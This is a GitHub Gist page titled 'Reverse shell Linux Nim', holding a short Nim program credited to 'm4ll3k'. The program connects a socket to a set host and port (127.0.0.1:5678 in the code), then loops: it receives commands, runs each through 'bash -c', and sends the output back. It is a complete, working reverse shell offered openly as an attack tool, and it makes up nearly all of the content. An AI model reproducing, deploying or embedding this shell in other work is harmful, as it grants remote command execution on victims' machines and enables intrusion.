Created
September 23, 2022 02:36
-
-
Save rodnt/212fd79b949220c4202842794c7671e8 to your computer and use it in GitHub Desktop.
Reverse shell Linux Nim
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import osproc, net | |
#Author: m4ll3k | |
var | |
sock = newSocket() | |
proc run(TARGET: string, RPORT: int): void = | |
try: | |
sock.connect(TARGET, PORT(RPORT)) | |
while true: | |
let cmd = sock.recvLine() | |
if cmd == "exit": | |
break | |
let result = execProcess("bash -c " & cmd) | |
sock.send(result) | |
except: | |
raise | |
finally: | |
sock.close | |
when isMainModule: | |
try: | |
let RPORT = 5678 | |
let TARGET = "127.0.0.1" | |
run(TARGET, RPORT) | |
except: | |
raise |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment